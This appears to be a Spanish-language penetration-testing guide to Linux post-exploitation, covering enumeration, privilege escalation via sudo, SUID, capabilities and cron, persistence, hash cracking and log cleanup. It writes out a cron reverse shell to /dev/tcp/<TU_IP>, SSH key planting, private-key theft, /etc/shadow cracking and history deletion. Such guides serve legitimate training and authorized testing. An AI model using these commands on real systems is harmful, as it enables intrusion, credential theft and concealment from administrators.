Appearance
🐧 Post-Explotación en Linux
El entorno Linux es extremadamente sensible a los permisos de archivos y a la configuración del Kernel. Una vez obtenida la shell inicial (generalmente como un usuario de servicios como www-data o un usuario estándar), el objetivo es identificar debilidades en la configuración para alcanzar privilegios de root.
✅ Metodología Linux
Enumeración local (Kernel, Sudo, SUID, Cron)
Transferencia de archivos (Uso de /tmp)
Mejora de la shell (Estabilización TTY completa)
Escalada de privilegios (GTFOBins, Capabilities)
Persistencia (SSH Keys, Cronjobs)
Extracción de hashes (/etc/shadow)
Limpieza de huellas (History, Logs)
🔍 1. Enumeración Local
No busques el exploit de Kernel a la primera. La mayoría de las escaladas en Linux se deben a errores humanos en los permisos de sudo o archivos con el bit SUID activo.
Información del Sistema
bash
# Versión del Kernel y arquitectura (Vital para Kernel Exploits)
uname -a
# Información de la distribución
cat /etc/*release
# Listado de paquetes instalados (Búsqueda de versiones vulnerables)
dpkg -l # En Debian/Ubuntu
rpm -qa # En CentOS/RHELUsuarios y Grupos
bash
# Quién soy y a qué grupos pertenezco
whoami
id
# Enumerar usuarios con acceso a shell
cat /etc/passwd | grep "sh$"
# Ver quién ha iniciado sesión recientemente
lastlogRed y Procesos
bash
# Interfaces y redes internas
ip a
# Procesos que corren como root (Buscando servicios locales)
ps aux | grep root
# Tareas programadas del sistema
cat /etc/crontab
ls -la /etc/cron.*Enumeración Automática (Value Add)
Para un reconocimiento rápido, utiliza herramientas que automatizan estas comprobaciones:
- LinEnum: Script integral de bash. Se recomienda ejecutarlo y filtrar por "Thorough tests".
- Metasploit: Módulos como
linux/gather/enum_systemocheck_vm.
📂 2. Transferencia de Archivos
En Linux, la ruta por excelencia para subir herramientas es /tmp. La mayoría de los sistemas están configurados para que cualquier usuario pueda escribir allí y, además, los archivos suelen borrarse tras un reinicio.
Aparte de wget (visto en la intro), considera:
- Curl:
curl -O http://<TU_IP>/herramienta - SCP: Si tienes credenciales de usuario:
scp herramienta usuario@víctima:/tmp/.
🐚 3. Mejora de la Shell (TTY Stabilization)
Las reverse shells suelen ser "tontas": no tienen autocompletado, no puedes usar flechas y Ctrl+C las mata. Para estabilizarlas:
- Spawneamos bash con Python:
python3 -c 'import pty; pty.spawn("/bin/bash")'. - Exportamos variables de entorno:
export TERM=xtermexport PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin. - (Opcional) Background y STTY: Presiona
Ctrl+Z, escribestty raw -echo; fgy presiona Enter dos veces. Esto te dará una shell interactiva completa.
Para integrar la nueva sección de forma orgánica, lo ideal es estructurar la Escalada de Privilegios por categorías de "vulnerabilidades de configuración". De esta forma, el usuario entiende que antes de lanzar un exploit de Kernel, debe revisar los permisos mal asignados.
📈 4. Escalada de Privilegios
La escalada de privilegios consiste en aprovechar errores de configuración o vulnerabilidades para saltar de un usuario limitado a root.
4.1. Configuración de Sudo (sudo -l)
Es el primer comando obligatorio. Lista los privilegios de sudo permitidos para tu usuario actual.
- Uso:
sudo -l - Explotación: Si ves un binario listado (ej.
(root) NOPASSWD: /usr/bin/vim), puedes ejecutarlo como root. - Referencia: Busca el binario en GTFOBins para obtener la secuencia de escape.
- Ejemplo Vim:
sudo vim -c ':!/bin/sh'
4.2. Archivos Críticos con Permisos Débiles
Si el administrador ha sido descuidado, podrías tener permisos de escritura en archivos que definen la seguridad del sistema.
- Búsqueda de archivos escribibles:
bash
find / -type f -not -type l -perm -o+w 2>/dev/null- Vectores clave:
/etc/shadow: Si es editable, cambia el hash de root directamente./etc/passwd: Si es editable, crea un usuario con UID 0./etc/sudoers: Añade tu usuario a la lista de administradores.
4.3. Binarios SUID
Archivos que tienen el bit SUID activo se ejecutan con los privilegios del propietario (root), independientemente de quién los lance. Buscamos binarios inusuales o vulnerables.
- Búsqueda:
bash
find / -perm -u=s -type f 2>/dev/null4.4. Capabilities
Son permisos granulares que el Kernel asigna a archivos para realizar tareas específicas de root sin darles privilegios totales. Algunas (cap_setuid) son extremadamente peligrosas.
- Búsqueda:
bash
getcap -r / 2>/dev/null- Objetivo: Busca
cap_setuid+epen intérpretes comopython,perlo herramientas comotar.
4.5. Tareas Programadas (Cron Jobs)
Si un script ejecutado por root a través de cron es escribible por ti, puedes modificarlo para que te devuelva una shell.
- Revisión:
cat /etc/crontabo busca scripts en/etc/cron.*que tengan permisos de escritura para tu grupo.
⏳ 5. Persistencia
SSH Keys (El método más estable)
Si el servicio SSH está activo, puedes añadir tu propia clave pública al archivo authorized_keys del usuario root o de cualquier usuario legítimo.
- Genera claves en tu máquina:
ssh-keygen. - Copia tu
.pubal objetivo:echo "tu-clave-publica" >> /root/.ssh/authorized_keys.
Secuestro de Clave Privada (id_rsa)
Si durante la enumeración encuentras una clave privada en el objetivo, no necesitas instalar nada nuevo; puedes "tomar prestada" su identidad. La cual te permitirá acceso total como ese usuario desde cualquier lugar.
- Localizas la clave: cat ~/.ssh/id_rsa
- Copias el contenido a un archivo en tu equipo (ej: clave_robada).
- Asignas permisos estrictos: chmod 400 clave_robada.
- Accedes: ssh -i clave_robada usuario@objetivo.
Cron Jobs
Podemos editar una tarea programada o crear la nuestra propia la cual envíe una reverse shell cada minuto.
bash
# Listar tareas programadas
crontab -l
# Crear tarea programada
echo "* * * * * /bin/bash -c 'bash -i >& /dev/tcp/<TU_IP>/<PORT> 0>&1'" > /tmp/proxy
crontab /tmp/proxy
# En nuestra máquina HOST nos ponemos a la escucha
nc -lvnp <PORT>🔑 6. Extracción y Crackeado de Hashes
Si eres root, puedes acceder a /etc/shadow, donde residen los hashes de las contraseñas.
Formato del Hash
El primer campo tras el nombre de usuario indica el algoritmo:
| Prefijo | Algoritmo |
|---|---|
| $1$ | MD5 |
| $2a$ / $2y$ | Blowfish |
| $5$$ | SHA-256 |
| $6$ | SHA-512 (Estándar actual) |
| $y$ | yescrypt |
Cracking Offline
John the Ripper:
bash
# Combina passwd y shadow para que John tenga el contexto
unshadow /etc/passwd /etc/shadow > hashes.txt
john --format=sha512crypt hashes.txt --wordlist=rockyou.txtHashcat:
bash
# El modo 1800 corresponde a SHA-512 (Unix)
hashcat -m 1800 hashes.txt rockyou.txt🧹 8. Limpieza de Huellas
Linux registra cada comando en un archivo de historial. Es vital limpiarlo antes de salir.
bash
# Limpiar historial de la sesión actual
history -c
# Borrar el archivo de persistencia del historial
rm ~/.bash_history
# Cerrar sesión sin dejar rastro en los logs de acceso (si es posible)
kill -9 $$